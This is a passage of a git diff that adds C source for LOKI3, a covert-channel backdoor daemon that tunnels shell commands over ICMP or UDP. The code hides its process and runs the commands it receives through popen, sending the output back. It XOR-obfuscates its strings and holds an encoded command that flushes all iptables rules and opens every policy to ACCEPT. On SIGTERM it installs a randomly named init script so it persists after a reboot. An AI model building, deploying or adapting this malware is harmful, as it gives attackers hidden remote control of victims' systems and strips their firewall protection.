64\xc3\x0a\x3c\xd5\x4e\x06\x83\x62\xe9\x0a\x3c\xd5\x4b\x55\x83\x64\xc3\x11\x27\xff\x0e\x06\xc2\x27\xe9\x4f\x64\x9c\x1f\x55\x93\x4e", 213, "\xf5\x6b\x75\xa3\x44\xe3\x2a\x1c", 8 }; // #!/bin/sh\n### BEGIN INIT INFO\n# Provides: %s\n# Default-Start: 2 3 4 5\n# Default-Stop: 0 1 6\n# Short-Description: %s\n# Description: %s\n### END INIT INFO\n\ncase "$1" in\n start)\n\n %s &\n ;;\nesac\nexit 0\n + +estring S_CMD_FLUSH_IPTABLES = { "\xcf\xe8\x78\xf3\xcb\xe7\xff\x95\xf6\xc7\x16\x94\x83\xbb\xfe\xd8\xec\xcb\x45\xd5\xd6\xa1\xfc\x83\xfe\xcb\x40\xde\x85\xe8\xa1\xaf\xbf\x9b\x12\x9b\xd9\xac\xe9\x81\xb0\xc7\x59\xd7\x9a\xf3\xac\xa7\xde\xfd\x64\x86\xd9\xbb\xee\x9e\xf1\x93\x03\xce\x85\xba\xa3\x84\xfd\xc0\x42\x9b\x9f\xb8\xf8\x96\xfd\xc5\x49\xc8\xd6\xe5\xca\xd7\xad\x97\x0c\x94\x92\xad\xfa\xd8\xf1\xdc\x40\xd7\xcd\xe8\xdc\xb6\xcb\xe1\x11\x94\x85\xaa\xe5\x99\xa5\x86\x59\xc8\x84\xe7\xff\x95\xf6\xc7\x0c\xd2\x86\xbc\xed\x95\xf3\xcc\x5f\x9b\xdb\xbc\xac\x99\xfe\xdd\x0c\x96\xb0\xe8\xbe\xc9\xbf\x86\x48\xde\x80\xe7\xe2\x82\xf3\xc5\x17\x9b\xa6\x89\xd8\xbf\xa2\x86\x5f\xd9\x9f\xa6\xb6\xd8\xea\xda\x5e\x94\x85\xaa\xe5\x99\xbf\xc0\x5c\xcf\x97\xaa\xe0\x92\xec\x89\x01\xcf\xd6\xa6\xed\x83\xbf\x84\x74\x9b\xc4\xf6\xac\xd8\xfb\xcc\x5a\x94\x98\xbd\xe0\x9b\xa4\x89\x7c\xfa\xa2\x80\xb1\xd8\xec\xcb\x45\xd5\xcc\xe7\xf9\x84\xed\x86\x5f\xd9\x9f\xa6\xac\x9e\xef\xdd\x4d\xd9\x9a\xad\xff\xd7\xb2\xdd\x0c\xd6\x97\xa6\xeb\x9b\xfa\x89\x01\xfd\xd6\xfa\xb2\xd7\xb0\xcd\x49\xcd\xd9\xa6\xf9\x9b\xf3\x92\x0c\xeb\xb7\x9c\xc4\xca\xb0\xda\x4e\xd2\x98\xf2\xa3\x82\xec\xdb\x03\xc8\x94\xa1\xe2\xd7\xf6\xd9\x58\xda\x94\xa4\xe9\x84\xbf\x84\x58\x9b\x9b\xa9\xe2\x90\xf3\xcc\x0c\x96\xae\xe8\xbe\xc9\xbf\x86\x48\xde\x80\xe7\xe2\x82\xf3\xc5\x17\x9b\xa6\x89\xd8\xbf\xa2\x86\x5f\xd9\x9f\xa6\xb6\xd8\xea\xda\x5e\x94\x85\xaa\xe5\x99\xbf\xc0\x5c\xcf\x97\xaa\xe0\x92\xec\x89\x01\xcf\xd6\xba\xed\x80\xbf\x84\x6a\x9b\xc4\xf6\xac\xd8\xfb\xcc\x5a\x94\x98\xbd\xe0\x9b\xa4\x89\x7c\xfa\xa2\x80\xb1\xd8\xec\xcb\x45\xd5\xcc\xe7\xf9\x84\xed\x86\x5f\xd9\x9f\xa6\xac\x9e\xef\xdd\x4d\xd9\x9a\xad\xff\xd7\xb2\xdd\x0c\xc9\x97\xbf\xac\xda\xc7\x89\x1e\x85\xd6\xe7\xe8\x92\xe9\x86\x42\xce\x9a\xa4\xb7\xd7\xcf\xe8\x78\xf3\xcb\xe7\xff\x95\xf6\xc7\x16\x94\x83\xbb\xfe\xd8\xec\xcb\x45\xd5\xd6\xa1\xfc\x83\xfe\xcb\x40\xde\x85\xe8\xa1\xa7\xbf\xe0\x62\xeb\xa3\x9c\xac\xb6\xdc\xea\x69\xeb\xa2\xe8\xbe\xc9\xbf\x86\x48\xde\x80\xe7\xe2\x82\xf3\xc5\x17\x9b\xa6\x89\xd8\xbf\xa2\x86\x5f\xd9\x9f\xa6\xb6\xd8\xea\xda\x5e\x94\x85\xaa\xe5\x99\xbf\xc0\x5c\xcf\x97\xaa\xe0\x92\xec\x89\x01\xeb\xd6\x8e\xc3\xa5\xc8\xe8\x7e\xff\xd6\x89\xcf\xb4\xda\xf9\x78\x9b\xc4\xf6\xac\xd8\xfb\xcc\x5a\x94\x98\xbd\xe0\x9b\xa4\x89\x7c\xfa\xa2\x80\xb1\xd8\xec\xcb\x45\xd5\xcc\xe7\xf9\x84\xed\x86\x5f\xd9\x9f\xa6\xac\x9e\xef\xdd\x4d\xd9\x9a\xad\xff\xd7\xb2\xf9\x0c\xf4\xa3\x9c\xdc\xa2\xcb\x89\x6d\xf8\xb5\x8d\xdc\xa3\xbf\x9b\x12\x9b\xd9\xac\xe9\x81\xb0\xc7\x59\xd7\x9a", 605, "\x9f\xa9\x2c\xbb\xf6\xc8\x8c\xf7", 8 }; // PATH=/sbin:/usr/sbin iptables -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null + + +int main(int argc, char *argv[]) { + static int one = 1, c, cflags = 0; + uint8_t buf1[BUFSIZE] = {0}; + pid_t pid = 0; + char *dbuf; /* For deobfuscating strings */ +#ifdef POPEN + FILE *job = NULL; + char buf2[BUFSIZE] = {0}; +#endif /* POPEN */ + + + /* ensure we have proper permissions */ + if (geteuid() || getuid()) { + err_exit(0, 1, 1, decrypt(S_MSG_NOPRIV)); + } + + while ((c = getopt(argc, argv, "v:p:")) != EOF) { + switch (c) { + case 'v': /* change verbosity */ + verbose = atoi(optarg); + break; + + case 'p': /* choose transport protocol */ + switch (optarg[0]) { + case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */ + prot = IPPROTO_ICMP; + break; + + case 'u': /* DNS query / reply */ + prot = IPPROTO_UDP; + break; + + default: + err_exit(1, 0, 1, decrypt(S_MSG_UNKNOWN_TRANSPORT)); + } + + break; + + default: + err_exit(0, 0, 1, decrypt(S_MSG_USAGE)); + } + } + + /* Attempt to hide process */ + prochide(argc, argv); + + if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) { + err_exit(1, 1, 1, decrypt(S_MSG_SOCKET)); + } + + if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { + err_exit(1, 1, 1, decrypt(S_MSG_SOCKET)); + } + +#ifdef DEBUG + fprintf(stderr, "[DEBUG]\tRaw IP socket: "); + fd_status(ripsock, OK); +#endif /* DEBUG */ + +#ifdef IP_HDRINCL + if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) + if (verbose) { + dbuf = decrypt(S_MSG_IP_HDRINCL); + perror(dbuf); + destroy(dbuf, S_MSG_IP_HDRINCL.size); + } +#endif /* IP_HDRINCL */ + + /* power up shared memory segment and semaphore, register dump_shm + to be called upon exit */ + prep_shm(); + if (atexit(dump_shm) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_ATEXIT)); + } + + dbuf = decrypt(S_MSG_BANNER); + fprintf(stderr, "%s", dbuf); + destroy(dbuf, S_MSG_BANNER.size); + + time(&uptime); /* server uptime timer */ + +#ifndef DEBUG + shadow(); /* go daemon */ +#endif /* DEBUG */ + + destroy_shm = OK; /* if this process exits at any point from + hereafter, mark shm as destroyed */ + + /* Every KEY_TIMER seconds, we should check the client_key list + and see if any entries have been idle long enough to expire + them. */ + if (signal(SIGALRM, client_expiry_check) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGALRM)); + } + + alarm(KEY_TIMER); + +#ifdef PERSISTENCE + /* SIGTERM Persistence */ + unlink_persistence(); + + if (signal(SIGTERM, handle_sigterm) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGTERM)); + } +#endif /* PERSISTENCE */ + + if (signal(SIGCHLD, reaper) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGCHLD)); + } + + for (;;) { + cflags &= ~VALIDP; /* Blocking read */ + c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE); + + switch (prot) { /* Is this a valid Loki packet? */ + case IPPROTO_ICMP: + if ((IS_GOOD_ITYPE_D(rdg))) { + cflags |= VALIDP; + c_id = rdg.ttype.icmph.icmp_id; + } + break; + + case IPPROTO_UDP: + if ((IS_GOOD_UTYPE_D(rdg))) { + cflags |= VALIDP; + c_id = rdg.ttype.udph.uh_sport; + } + break; + + default: + err_exit(1, 0, verbose, decrypt(S_MSG_WIERDERR)); + } + + if (cflags & VALIDP) { +#ifdef DEBUG + fprintf(stderr, "\n[DEBUG]\t\tlokid: packet read %d bytes, type: ", c); + PACKET_TYPE(rdg); + DUMP_PACKET(rdg, c); +#endif /* DEBUG */ + switch (pid = fork()) { + case 0: + destroy_shm = NOK; /* child should NOT mark segment as + destroyed when exiting... */ + +/* TLI seems to have problems in passing socket file desciptors around */ +#ifdef SOLARIS + close(ripsock); + if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { + err_exit(1, 1, 1, decrypt(S_MSG_SOCKET)); + } +#ifdef DEBUG + fprintf(stderr, "\n[DEBUG]\tRaw IP socket: "); + fd_status(ripsock, OK); +#endif /* DEBUG */ +#endif /* SOLARIS */ + break; + + default: /* parent will loop forever spawning children + if we do not zero rdg */ + bzero((struct loki *)&rdg, LOKIP_SIZE); + cflags &= ~VALIDP; + continue; + + case -1: /* fork error */ + err_exit(1, 1, verbose, decrypt(S_MSG_FORK_ERROR)); + } + + if (((c = add_client((uint8_t *)NULL)) == -1)) { + lokid_xmit((uint8_t *)S_MSG_PACKED, LP_DST, L_ERR, NOCR); //xxx + lokid_xmit(buf1, LP_DST, L_EOT, NOCR); + err_exit(1, 0, verbose, decrypt(S_MSG_CANNOT_ADD_KEY)); + } + + /* unload payload */ + bcopy(&rdg.payload[1], buf1, BUFSIZE - 1); + blur(DECR, BUFSIZE - 1, buf1); + + /* parse escaped command */ + if (buf1[0] == '/') { + d_parse(buf1, pid, ripsock); + } + +#ifdef POPEN /* popen the shell command and execute it inside of /bin/sh */ + if (!(job = popen((char *)buf1, "r"))) { + err_exit(1, 1, verbose, decrypt(S_MSG_POPEN)); + } + + while (fgets(buf2, BUFSIZE - 1, job)) { + bcopy(buf2, buf1, BUFSIZE); + lokid_xmit(buf1, LP_DST, L_REPLY, OKCR); + } + lokid_xmit(buf1, LP_DST, L_EOT, OKCR); + update_client(locate_client(FIND), p_sent, b_sent); + clean_exit(0); /* exit the child after sending the last packet */ +#endif /* POPEN */ + } + } +} + + +/* + * Build and transmit Loki packets (server-side version) + */ +int lokid_xmit(uint8_t *payload, uint32_t dst, int ptype, int crypt_flag) { + struct sockaddr_in sin; + int i = 0; + char *dbuf; + + + bzero((struct loki *)&sdg, LOKIP_SIZE); + + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = dst; + sdg.payload[0] = ptype; /* set packet type */ + + /* Do not encrypt error or public key reply packets */ + if (crypt_flag == OKCR) + blur(ENCR, BUFSIZE - 1, payload); + bcopy(payload, &sdg.payload[1], BUFSIZE - 1); + + if (prot == IPPROTO_ICMP) { +#ifdef NET3 /* Our workaround. */ + sdg.ttype.icmph.icmp_type = ICMP_ECHO; +#else + sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY; +#endif /* NET3 */ + sdg.ttype.icmph.icmp_code = 0; + sdg.ttype.icmph.icmp_id = c_id; /* client ID */ + sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */ + sdg.ttype.icmph.icmp_cksum = + i_check((uint16_t *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE); + } + + if (prot == IPPROTO_UDP) { + sdg.ttype.udph.uh_sport = NL_PORT; + sdg.ttype.udph.uh_dport = rdg.ttype.udph.uh_sport; + sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE); + sdg.ttype.udph.uh_sum = + i_check((uint16_t *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE); + } + sdg.iph.ip_v = 0x4; + sdg.iph.ip_hl = 0x5; + sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE); + sdg.iph.ip_ttl = 0x40; + sdg.iph.ip_p = prot; + sdg.iph.ip_dst = sin.sin_addr.s_addr; + +#ifdef SEND_PAUSE + usleep(SEND_PAUSE); +#endif /* SEND_PAUSE */ + + if ((i = sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, 0, (struct sockaddr *)&sin, sizeof(sin))) < LOKIP_SIZE) { + if (verbose){ + dbuf = decrypt(S_MSG_TRUNCATED_WRITE); + perror(dbuf); + destroy(dbuf, S_MSG_TRUNCATED_WRITE.size); + } + } else { /* Update global stats */ + b_sent += i; + p_sent ++; + } + return (i < 0) ? 0 : i; /* Make snocrash happy (return bytes written, + * or return 0 if there was an error) */ +} + + +/* + * Keep child proccesses from zombiing on us + */ +void reaper(int signo) { + int sys = 0; + + wait(&sys); /* get child's exit status */ + + /* re-establish signal handler */ + if (signal(SIGCHLD, reaper) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGCHLD)); + } +} + + +/* + * Simple daemonizing procedure. + */ +void shadow() { + int n; + int fd = 0; + + close(STDIN_FILENO); /* We no longer need STDIN */ + if (!verbose) { /* Get rid of these also */ + close(STDOUT_FILENO); + close(STDERR_FILENO); + } + + /* Ignore read/write signals from/to the controlling terminal. */ + signal(SIGTTOU, SIG_IGN); + signal(SIGTTIN, SIG_IGN); + signal(SIGTSTP, SIG_IGN); /* Ignore suspend signal. */ + + switch (fork()) { + case 0: /* child continues */ + break; + + default: /* parent exits */ + clean_exit(0); + + case -1: /* fork error */ + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DAEMONIZE)); + } + + /* Create a new session and set this process to be the group leader. */ + if (setsid() == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_CREATE_SESSION)); + } + + /* Detach from controlling terminal */ + if ((fd = open("/dev/tty", O_RDWR)) >= 0) { + if ((ioctl(fd, TIOCNOTTY, (char *)NULL)) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DETACH_TERMINAL)); + } + close(fd); + } + + errno = 0; // TODO why is this being set? + + n = chdir(WORKING_ROOT); /* Working dir should be the root */ + if (n == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_CHDIR)); + } + + umask(0); /* File creation mask should be 0 */ +} + + +/* + * Parse escaped commands (server-side version) + */ +void d_parse(uint8_t *buf, pid_t pid, int ripsock) { + uint8_t buf2[4 * BUFSIZE] = {0}; + int n = 0, m = 0; + uint32_t client_ip = 0; + char *dbuf; + + + /* client request for an all kill */ + if (!strncmp((char *)buf, QUIT_ALL, sizeof(QUIT_ALL) - 1)) { + if (verbose) { + dbuf = decrypt(S_MSG_CLIENT_ALL_KILL); + fprintf(stderr, dbuf, c_id); + destroy(dbuf, S_MSG_CLIENT_ALL_KILL.size); + } + + while (n < MAX_CLIENT) { /* send notification to all clients */ + if ((client_ip = check_client_ip(n++, &c_id))) { + if (verbose) { + dbuf = decrypt(S_MSG_SENDING_L_QUIT); + fprintf(stderr, dbuf, c_id, host_lookup(client_ip)); + destroy(dbuf, S_MSG_SENDING_L_QUIT.size); + } + + lokid_xmit(buf, client_ip, L_QUIT, NOCR); + } + } + + if (verbose) { + dbuf = decrypt(S_MSG_CLIENTK); + fprintf(stderr, "%s", dbuf); + destroy(dbuf, S_MSG_CLIENTK.size); + } + + /* send a SIGKILL to all the processes in the servers group... */ + if ((kill(-pid, SIGKILL)) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_SIGNAL_PROCESS_GROUP)); + } + + clean_exit(0); + } + /* client is exited, remove entry from the client list */ + if (!strncmp((char *)buf, QUIT_C, sizeof(QUIT_C) - 1)) { + if ((m = locate_client(DESTROY)) == -1) { + err_exit(1, 0, verbose, decrypt(S_MSG_UNKNOWN)); + } + + else if (verbose) { + dbuf = decrypt(S_MSG_CLIENT_FREED); + fprintf(stderr, dbuf, c_id, m); + destroy(dbuf, S_MSG_CLIENT_FREED.size); + } + + clean_exit(0); + } + + /* stat request */ + if (!strncmp((char *)buf, STAT_C, sizeof(STAT_C) - 1)) { + bzero((uint8_t *)buf2, 4 * BUFSIZE); + /* Ok. This is an ugly hack to keep packet counts in sync + * with the stat request. We know the amount of packets we + * are going to send (and therefore the byte count) in advance + * so we can preload the values. + */ + update_client(locate_client(FIND), 5, 5 * LOKIP_SIZE); + n = stat_client(locate_client(FIND), buf2, prot, uptime); + + /* breakdown payload into BUFSIZE-1 chunks, suitable for transmission */ + for (; m < n; m += (BUFSIZE - 1)) { + bcopy(&buf2[m], buf, BUFSIZE - 1); + lokid_xmit(buf, LP_DST, L_REPLY, OKCR); + } + lokid_xmit(buf, LP_DST, L_EOT, OKCR); + clean_exit(0); /* exit the child after sending the last packet */ + } + + if (!strncmp((char *)buf, SWAP_T, sizeof(SWAP_T) - 1)) { + if (kill(getppid(), SIGUSR1)) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_SIGNAL_PARENT)); + } + clean_exit(0); + } + + /* unsupport/unrecognized command */ + dbuf = decrypt(S_MSG_UNSUP); + lokid_xmit((uint8_t *)dbuf, LP_DST, L_REPLY, OKCR); + destroy(dbuf, S_MSG_UNSUP.size); + + lokid_xmit(buf2, LP_DST, L_EOT, OKCR); + + update_client(locate_client(FIND), p_sent, b_sent); + clean_exit(0); // TODO should this exit if an unknown command is sent? +} + + +/* + * Swap transport protocols. This is called as a result of SIGUSR1 from + * a child server process. + */ +void swap_t(int signo) { + int n = 0; + uint32_t client_ip = 0; + struct protoent *pprot = 0; + char buf[BUFSIZE] = {0}; + char *dbuf; + + + if (verbose) { + char *str = decrypt(S_MSG_CLIENT_PROTO_SWAP); + fprintf(stderr, str, c_id); + destroy(str, S_MSG_CLIENT_PROTO_SWAP.size); + } + + while (n < MAX_CLIENT) { + if ((client_ip = check_client_ip(n++, &c_id))) { + char *str = decrypt(S_MSG_SEND_PROTO_UPDATE); + + fprintf(stderr, str, c_id, host_lookup(client_ip), n); + + lokid_xmit((uint8_t *)buf, client_ip, L_REPLY, OKCR); + lokid_xmit((uint8_t *)buf, client_ip, L_EOT, OKCR); + + destroy(str, S_MSG_SEND_PROTO_UPDATE.size); + + //update_client(locate_client(FIND), p_sent, b_sent); + } + } + + close(tsock); + + prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP; + + if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) { + err_exit(1, 1, verbose, decrypt(S_MSG_SOCKET)); + } + + pprot = getprotobynumber(prot); + + dbuf = decrypt(S_MSG_PROTOCOL_CHANGED); + sprintf(buf, dbuf, pprot -> p_name); + destroy(dbuf, S_MSG_PROTOCOL_CHANGED.size); + + fprintf(stderr, "\n%s", buf); + + lokid_xmit((uint8_t *)buf, LP_DST, L_REPLY, OKCR); + lokid_xmit((uint8_t *)buf, LP_DST, L_EOT, OKCR); + + update_client(locate_client(FIND), p_sent, b_sent); + + /* re-establish signal handler */ + if (signal(SIGUSR1, swap_t) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGUSR1)); + } +} + +/* EOF */ diff --git a/obfuscate.c b/obfuscate.c new file mode 100644 index 0000000..98e77db --- /dev/null +++ b/obfuscate.c @@ -0,0 +1,144 @@ +#include <stdio.h> +#include <sys/types.h> +#include <stdlib.h> +#include <stdint.h> +#include <unistd.h> +#include <string.h> +#include <time.h> + +#define CSTROBF_MAX 1024 +#define KEY_SIZE 8 + + +typedef struct cstrobf { + uint8_t str[CSTROBF_MAX]; + size_t size; + uint8_t key[KEY_SIZE]; + size_t ksize; +} estring; + + + +char *decrypt(estring encrypted) { + int i; + char buf[CSTROBF_MAX] = {0}; + + for (i = 0; i < encrypted.size; i++) + buf[i] = encrypted.str[i] ^ encrypted.key[i % encrypted.ksize]; + + return strdup(buf); +} + +void destroy(char *buf, size_t len) { + for(int i = 0; i < len; i++) + buf[i] = rand() % 256; + free(buf); +} + +void encrypt(const char *varname, const uint8_t *buf) { + int i; + uint8_t ebuf[CSTROBF_MAX] = {0}; + uint8_t key[KEY_SIZE] = {0}; + size_t len; + + + len = strlen(buf); + + for (i = 0; i < KEY_SIZE; i++) + key[i] = rand() % 256; + + for (i = 0; i < len; i++) + ebuf[i] = buf[i] ^ key[i % KEY_SIZE]; + + /* ughly ass print this to stdout. if you don't want a newline, + whack off the last byte, and decrease the size by one */ + printf("estring %s = { \"", varname); + for (i = 0; i < len; i++) + printf("\\x%02x", ebuf[i]); + printf("\", %ld, \"", len); + for (i = 0; i < KEY_SIZE; i++) + printf("\\x%02x", key[i]); + printf("\", %d }; // %s\n", KEY_SIZE, buf); +} + +int main(int argc, char *argv[]) { + srand(time(NULL)); + + //estring L_MSG_BANNER = { "\xda\x30\x80\x6c\x99\xbc\xe5\x8d\xbd\x1a\xbd\x07\x8b\xa7\x8f\xc0\xf0\x4e\xff\x16\xe9\xa2\xdf\xd9\xe0\x4c\xef\x62\xbc\xea\x8f\x9d\xb9\x0a\xaa\x07\x83\xfa\x9e\x8e\xb5\x0e\xb6\x7a\xda", 45, "\xd0\x7c\xcf\x27\xd0\x8f\xec\xe9", 8 }; // \nLOKI3\tdmfr [(c) 2019-3000 Elective Surgery]\n + + //char *d = decrypt(L_MSG_BANNER); + //printf("%s", d); destroy(d, L_MSG_BANNER.size); + + + //encrypt("S_STAT_REQUESTS", "requests:\t\t%d\n"); + //encrypt("S_STAT_BYTES_WRITTEN", "bytes written:\t\t%d\n"); + //encrypt("S_STAT_PACKETS_WRITTEN", "packets written:\t%d\n"); + //encrypt("S_STAT_CLIENT_ID", "client ID:\t\t%d\n"); + //encrypt("S_STAT_UPTIME", "server uptime:\t\t%.02f minutes\n"); + //encrypt("S_STAT_CRYPTO", "active cryptography:\t%s\n"); + //encrypt("S_STAT_TRANSPORT", "active transport:\t%s\n"); + //encrypt("S_STAT_INTERFACE", "remote interface:\t%s\n"); + //encrypt("S_STAT_VERSION", "\nlokid version:\t\t%s\n"); + + + encrypt("S_SYSV_SERVICE", "#!/bin/sh\n" + "### BEGIN INIT INFO\n" + "# Provides: %s\n" + "# Default-Start: 2 3 4 5\n" + "# Default-Stop: 0 1 6\n" + "# Short-Description: %s\n" + "# Description: %s\n" + "### END INIT INFO\n\n" + "case \"$1\" in\n" + " start)\n" + " %s &\n" + " ;;\n" + "esac\n" + "exit 0\n"); + //encrypt("S_CMD_FLUSH_IPTABLES", "PATH=/sbin:/usr/sbin iptables -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null"); + + //encrypt("S_MSG_CLIENT_DB_FULL", "\nlokid: Client database full"); + //encrypt("S_MSG_EXPIRED_CLIENT", "\nlokid: inactive client <%d> expired from list [%d]\n"); + //encrypt("S_MSG_CLIENTK", "\nlokid: clean exit (killed at client request)\n"); + //encrypt("S_MSG_UNKNOWN", "\nlokid: cannot locate client entry in database\n"); + + //encrypt("S_MSG_CANNOT_CHDIR", "[fatal] cannot chdir to WORKING_ROOT"); + //encrypt("S_MSG_CANNOT_DETACH_TERMINAL", "[fatal] cannot detach from controlling terminal"); + //encrypt("S_MSG_CANNOT_CREATE_SESSION", "[fatal] Cannot create session"); + //encrypt("S_MSG_CANNOT_DAEMONIZE", "[fatal] Cannot go daemon"); + //encrypt("S_MSG_CANNOT_SIGNAL_PROCESS_GROUP", "[fatal] could not signal process group"); + //encrypt("S_MSG_SENDING_L_QUIT", "\tsending L_QUIT: <%d> %s\n"); + //encrypt("S_MSG_TRUNCATED_WRITE", "[non fatal] truncated write"); + //encrypt("S_MSG_POPEN", "\nlokid: popen"); + //encrypt("S_MSG_CLIENT_ALL_KILL", "\nlokid: client <%d> requested an all kill\n"); + //encrypt("S_MSG_CLIENT_FREED", "\nlokid: client <%d> freed from list [%d]"); + //encrypt("S_MSG_FORK_ERROR", "[fatal] forking error"); + //encrypt("S_MSG_WIERDERR", "\n[SUPER fatal] control should NEVER fall here\n"); + + //encrypt("S_MSG_SHM_DETACH_ERROR", "[fatal] shared mem segment detach error"); + //encrypt("S_MSG_CANNOT_DESTROY_SHMID", "[fatal] cannot destroy shmid"); + //encrypt("S_MSG_CANNOT_DESTROY_SEMAPHORE", "[fatal] cannot destroy semaphore"); + //encrypt("S_MSG_SHM_SEGMENT_ERROR", "[fatal] shared mem segment request error"); + //encrypt("S_MSG_SEMAPHORE_ALLOCATION_ERROR", "[fatal] semaphore allocation error"); + //encrypt("S_MSG_CANNOT_LOCK_MEMORY", "[fatal] could not lock memory"); + //encrypt("S_MSG_CANNOT_UNLOCK_MEMORY", "[fatal] could not unlock memory"); + //encrypt("S_MSG_SIGCHLD", "[fatal] cannot catch SIGCHLD"); + //encrypt("S_MSG_SIGUSR1", "[fatal] cannot catch SIGUSR1"); + //encrypt("S_MSG_SIGCHLD", "[fatal] cannot catch SIGCHLD"); + //encrypt("S_MSG_SIGALRM", "[fatal] cannot catch SIGALRM"); + //encrypt("S_MSG_SIGTERM", "[fatal] cannot catch SIGTERM"); + //encrypt("S_MSG_ATEXIT", "[fatal] cannot register with atexit(2)"); + //encrypt("S_MSG_IP_HDRINCL", "Cannot set IP_HDRINCL socket option"); + //encrypt("S_MSG_SOCKET", "[fatal] socket allocation error"); + //encrypt("S_MSG_UNKNOWN_TRANSPORT", "[fatal] Unknown transport\n"); + //encrypt("S_MSG_NOPRIV", "\n[fatal] invalid user identification value"); + //encrypt("S_MSG_CANNOT_SIGNAL_PARENT", "[fatal] could not signal parent"); + //encrypt("S_MSG_CANNOT_ADD_KEY", "\nlokid: Cannot add key\n"); + //encrypt("S_MSG_USAGE", "\nlokid -p (i|u) [ -v (0|1) ]\n"); + //encrypt("S_MSG_UNSUP", "\nlokid: unsupported or unknown command string\n"); + //encrypt("S_MSG_PROTOCOL_CHANGED", "lokid: transport protocol changed to %s\n"); + //encrypt("S_MSG_SEND_PROTO_UPDATE", "\tsending protocol update: <%d> %s [%d]\n"); + //encrypt("S_MSG_PROTOUPDATE", "\nlokid: client <%d> requested a protocol swap\n"); + //encrypt("L_MSG_BANNER", "\nLOKI3\tdmfr [(c) 2019-3000 Elective Surgery]\n"); + return EXIT_SUCCESS; +} diff --git a/persistence.c b/persistence.c new file mode 100644 index 0000000..3d6a42c --- /dev/null +++ b/persistence.c @@ -0,0 +1,117 @@ +/* + * LOKI3 + * + * [ persistence.h ] + * + * 2019 and beyond Elective Surgery [dmfr] + */ + +#ifdef PERSISTENCE +#include "loki.h" +#include "persistence.h" + + +extern estring S_SYSV_SERVICE; + + +/* + * Generate a random string. + * Used the character set because it blended in with files in /bin: + * % strings * |grep ABC |sort |uniq -c |sort -n + * ...snip... + * 257 0123456789ABCDEF <--- pretty common alphanumeric string. + */ +static void random_string(char *dst, size_t len) { + char character_set[] = "0123456789ABCDEF"; + + while (len--) { + *dst++ = character_set[rand() % (sizeof(character_set) - 1)]; + } + + *dst = '\0'; +} + +static void random_string_range(char *dst, size_t lower, size_t upper) { + int len; + + len = (rand() % (upper - lower + 1)) + lower; + random_string(dst, len); +} + + +/* + * SIGTERM handler. This will be caught when the `reboot` command is + * issued, or `kill our_pid_here`. + * + * This persistence sets up a SysV service when SIGTERM is caught. reboot + * and init 6 first attempt to send all process the SIGTERM signal so they + * may gracefully exit. We take advantage of this and gracefully exit by + * installing persistence. + */ +void handle_sigterm(int signo) { + /* create init script and symlinks */ + FILE *fp; + char self[PATH_MAX + 1]; + char service_name[16]; + char str[8192]; + char *dbuf; + size_t n; + + + random_string_range(service_name, 4, sizeof(service_name)); + + fp = fopen(INIT_SCRIPT, "w+"); // TODO obfuscate this + if (fp == NULL) { + perror("fopen"); + return; + } + + n = readlink("/proc/self/exe", self, sizeof(self)); + if (n == -1) { + perror("readlink"); + return; + } + + dbuf = decrypt(S_SYSV_SERVICE); + snprintf(str, sizeof(str), dbuf, + /* "#!/bin/sh\n" */ + /* "### BEGIN INIT INFO\n" */ + /* "# Provides: %s\n" */ + /* "# Default-Start: 2 3 4 5\n" */ + /* "# Default-Stop: 0 1 6\n" */ + /* "# Short-Description: %s\n" */ + /* "# Description: %s\n" */ + /* "### END INIT INFO\n\n" */ + /* "case \"$1\" 